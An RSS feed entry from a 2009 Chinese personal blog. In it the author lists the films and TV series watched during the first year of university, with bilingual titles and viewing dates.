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		<title>大一生活(电影篇&amp;电视篇.0828更新)</title>
		<link>http://meiyou.org/2009/03/freshman-movie-tv/</link>
		<comments>http://meiyou.org/2009/03/freshman-movie-tv/#comments</comments>
		<pubDate>Wed, 18 Mar 2009 10:17:23 +0000</pubDate>
		<dc:creator>郭一实</dc:creator>
				<category><![CDATA[个人爱好]]></category>
		<category><![CDATA[大一生活]]></category>
		<category><![CDATA[电影]]></category>
		<category><![CDATA[电视]]></category>

		<guid isPermaLink="false">http://meiyou.org/?p=3</guid>
		<description><![CDATA[大一期间不完全电影&#038;电视列表.不定期更新中...]]></description>
			<content:encoded><![CDATA[<div id="blogContent" class="text-article">
<p>大一期间不完全电影列表.不定期更新中&#8230;</p>
<ul>
<li><strong><span style="color: #993300;">Groundhog Day / 偷天情缘</span></strong></li>
<li><em><span style="color: #993300;">家有喜事2009</span></em></li>
<li><strong><span style="color: #993300;">The Reader / 生死朗读</span></strong></li>
<li><span style="color: #993300;">Bolt / 闪电狗</span></li>
<li><span style="color: #993300;">非诚勿扰</span></li>
<li><span style="color: #993300;"><em>精舞门</em></span></li>
<li><em><span style="color: #993300;">整蛊王</span></em></li>
<li><strong><span style="color: #993300;">The Curious Case of Benjamin Button / 本杰明·巴顿奇事</span></strong></li>
<li><em><span style="color: #993300;">爱情呼叫转移2:爱情左右</span></em></li>
<li><span style="color: #993300;">City of Ember / 微光城市</span></li>
<li><strong><span style="color: #993300;">Slumdog Millionaire / 贫民窟的百万富翁</span></strong></li>
<li><span style="color: #993300;">三国之见龙卸甲</span></li>
<li><span style="color: #993300;">投名状</span></li>
<li><span style="color: #993300;">兄弟之生死同盟</span></li>
<li><span style="color: #993300;">墨攻 </span></li>
<li><span style="color: #993300;">Next / 预见未来</span></li>
<li><span style="color: #993300;"><strong>Lord of War / 战争之王</strong></span></li>
<li><span style="color: #993300;">Sex Drive / 破处之旅</span></li>
<li><span style="color: #993300;">Matchstick Men / 火柴男人</span></li>
<li><span style="color: #993300;"><strong>The Family Man / 居家男人</strong></span></li>
<li><em><span style="color: #993300;">Wargames / 战争游戏1</span></em></li>
<li><em><span style="color: #993300;">Wargames: The Dead Code / 战争游戏2</span></em></li>
<li><strong><span style="color: #993300;">The Pursuit of Happyness / 当幸福来敲门</span></strong></li>
<li><span style="color: #993300;">In Bruges / 杀手没有假期</span></li>
<li><span style="color: #993300;">耳朵大有福</span></li>
<li><span style="color: #993300;">The Day the Earth Stood Still / 地球停转之日</span></li>
<li><span style="color: #993300;">Kramer vs. Kramer / 克莱默夫妇</span></li>
<li><span style="color: #993300;">Mr. &amp; Mrs. Smith / 史密斯夫妇</span></li>
<li><span style="color: #993300;"><strong>叶问</strong></span></li>
<li><span style="color: #993300;">Frequency / 黑洞频率 / 隔世救未来</span></li>
<li><span style="color: #993300;">Paul Blart: Mall Cop / 百货战警 / 商场保安(20090215)</span></li>
<li><span style="color: #993300;"><strong>The Legend of 1900 / 海上钢琴师</strong>(20090215)</span></li>
<li><span style="color: #993300;"><strong>Gran Torino / 老爷车</strong>(20090216)</span></li>
<li><span style="color: #993300;">The Man From Earth / 来自地球的人(20090217)</span></li>
<li><span style="color: #993300;">The Thirteenth Floor / 十三阶梯 / 异次元骇客(20090218)</span></li>
<li><span style="color: #993300;">Men in Black / MIB星际战警 / 黑超特警组(20090218)</span></li>
<li><span style="color: #993300;">Men in Black II / MIB星际战警 2 / 黑超特警组 2(20090218)</span></li>
<li><span style="color: #993300;"><span style="color: #993300;">Contact / 超时空接触(20090219)</span></span></li>
<li><span style="color: #993300;"><strong>WALL·E / 大空奇兵·威E / 机器人总动员</strong>(20090219)</span></li>
<li><span style="color: #993300;"><strong>Seven Pounds / 七生有幸 / 七磅</strong>(20090219)</span></li>
<li><span style="color: #993300;">I Am Legend / 我是传奇(20090220)</span></li>
<li><span style="color: #993300;">Hancock / 全民超人 / 汉考克(20090220)</span></li>
<li><span style="color: #993300;"><em>Twelve Monkeys / 十二猴子军</em>(20090223)</span></li>
<li><span style="color: #993300;"><em>How to Rob a Bank / 抢银行指南 / 如何抢银行</em>(20090224)</span></li>
<li><span style="color: #993300;">疯狂的赛车(20090224)</span></li>
<li><span style="color: #993300;">Yes Man / 应声虫 / 好好先生(20090224)</span></li>
<li><span style="color: #993300;">赤壁 / 赤壁之战(20090224)</span></li>
<li><span style="color: #993300;"><strong>The Butterfly Effect / 蝴蝶效应</strong>(20090225)</span></li>
<li><span style="color: #993300;">The Butterfly Effect 2 / 蝴蝶效应2(20090225)</span></li>
<li><span style="color: #993300;">Being John Malkovich / 傀儡人生 / 成为约翰·马尔科维奇(20090225)</span></li>
<li><span style="color: #993300;"><strong>It&#8217;s a Wonderful Life / 风云人物</strong>(20090226)</span></li>
<li><span style="color: #993300;">高兴(20090307)</span></li>
<li><span style="color: #993300;"><strong>我脑中的橡皮擦 / A moment to remember / Nae meorisokui jiwoogae</strong>(20090314)</span></li>
<li><span style="color: #993300;"><strong>赤壁(下) / 赤壁：决战天下 / 赤壁2</strong>(20090322)</span></li>
<li><span style="color: #993300;">容疑者Xの献身 / Yôgisha X no kenshin / 嫌疑犯x的獻身(20090326)</span></li>
<li><span style="color: #993300;">Babel / 通天塔 / 巴别塔(20090329)</span></li>
<li><span style="color: #993300;">College Road Trip / National Lampoon&#8217;s College Road Trip / 大学之旅(20090402)</span></li>
<li><span style="color: #993300;">Twilight / 暮光之城(20090403)</span></li>
<li><span style="color: #993300;">合约情人 / Contract Lover(20090408)</span></li>
<li><span style="color: #993300;">Tarzan II / 泰山2(20090423)</span></li>
<li><span style="color: #993300;">Pirates of the Caribbean: At Worlds End / 加勒比海盗：世界的尽头(20090426)</span></li>
<li><span style="color: #993300;">南京！南京！ / City of Life and Death / Nanking Nanking(20090502)</span></li>
<li><span style="color: #993300;"><strong>诡丝 / Silk</strong>(20090502)</span></li>
<li><span style="color: #993300;"><strong>寻找林昭的灵魂 / In Search of Linzhao&#8217;s Soul / 寻找林昭</strong>(20090505)</span></li>
<li><span style="color: #993300;"><strong>高考1977</strong>(20090509)</span></li>
<li><span style="color: #993300;"><strong>おくりびと / 入殓师</strong>(20090510)</span></li>
<li><span style="color: #993300;">Into The Wild / 阿拉斯加之死(20090511)</span></li>
<li><span style="color: #993300;"><strong>Braveheart / 勇敢的心</strong>(20090513)</span></li>
<li><span style="color: #993300;"><em>American.Pie:Beta.House / 美国派6 / 美国派6：兄弟会</em>(20090514)</span></li>
<li><span style="color: #993300;"><strong>Nuovo cinema Paradiso / 天堂电影院 / 星光伴我心</strong>(20090516)</span></li>
<li><span style="color: #993300;">假如爱有天意 / 不可不信缘</span></li>
<li><span style="color: #993300;">Black Hawk Down / 黑鹰坠落 / 黑鹰计划(20090605)</span></li>
<li><span style="color: #993300;">John Rabe / 约翰·拉贝 / 拉贝日记(20090606)</span></li>
<li><span style="color: #993300;">Night at the Museum: Battle of the Smithsonian / 博物馆惊魂夜2 / 翻生侏罗馆2(20090624)</span></li>
<li><span style="color: #993300;">Knowing / 预难大逃亡 / 先知(20090625)</span></li>
<li><span style="color: #993300;">Cashback / 超市夜未眠 / 愛情回水(20090627)</span></li>
<li><span style="color: #993300;">Silent HillSilent Hill / 寂静岭(20090627)</span></li>
<li><span style="color: #993300;"><strong>Partly Cloudy / 局部多云 / 暴力云与送子鹳(20090627)</strong></span></li>
<li><span style="color: #993300;">望夫成<span style="color: #993300;">龙 / Love Is Lo<span style="color: #993300;">ve(20090627)</span></span></span></li>
<li><span style="color: #993300;">Bewitched / 家有仙妻 / 神仙俏女巫(20090628)</span></li>
<li><strong><span style="color: #993300;">A Beautiful Mind / 美丽心灵(20090705)</span></strong></li>
<li><strong><span style="color: #993300;">金钱帝国 / I Corrupt All Cops / <span style="color: #993300;">金錢帝國(20090706)</span></span></strong></li>
<li><strong><span style="color: #993300;">新宿<span style="color: #993300;">事件 / The Shinjuku Incident(20090708)</span></span></strong></li>
<li><span style="color: #993300;">17 Again / 重返17岁 / 浪漫十七岁(200907<span style="color: #993300;">11)</span></span></li>
<li><span style="color: #993300;">The International / 跨国银行(20090712)</span></li>
<li><span style="color: #993300;"><strong>Roman Ho<span style="color: #993300;">liday /<span style="color: #993300;"> 罗马假日 / 罗马假期(20090718)</span></span></strong></span></li>
<li><span style="color: #993300;">となりのトトロ / 龙猫(20090725)</span></li>
<li><span style="color: #993300;">夜·店 / 夜店(20090806)</span></li>
<li><span style="color: #993300;"><em>Crank 2: High Voltage 怒火攻心2 / 高压电(20090806)</em></span></li>
<li><span style="color: #993300;">公主日记 / 公主日记 /<span style="color: #993300;"> 麻雀变公主(20090807)</span></span></li>
<li><span style="color: #993300;">鼠胆龙威 / High Risk(2009<span style="color: #993300;">0811)</span></span></li>
<li><span style="color: #993300;"> Sky High / 超人高校(20090813)</span></li>
<li><span style="color: #993300;">窃听风云 / Overheard(20090827)</span></li>
<li><span style="color: #993300;">海盗电台 / Pirate Radio / Good Morning England(20090828)</span></li>
</ul>
<p>下面列出的就是大一期间看过的电视列表:</p>
<ul>
<li><span style="color: #993300;">ガリレオ / Galileo / 神探伽利略(01~10集,完)</span></li>
<li><span style="color: #993300;">CHANGE(01~10集,完)</span></li>
<li><span style="color: #993300;"><span style="color: #993300;"><strong>Prison Break / 越狱 / 越獄風雲</strong></span>(第一季~第四季.20090516.完)</span></li>
<li><span style="color: #993300;">Monk / 神探阿蒙 / 神經妙探(第一季:01~09集;)</span></li>
<li><span style="color: #993300;"><strong>Lie to Me / 千谎百计 / 别对我撒谎</strong>(第一季:01~03集,20090222;04集,20090223;)</span></li>
</ul>
</div>
<hr />
<p><small>© 郭一实 for <a href="http://meiyou.org">meiyou.org</a>, 2009. |
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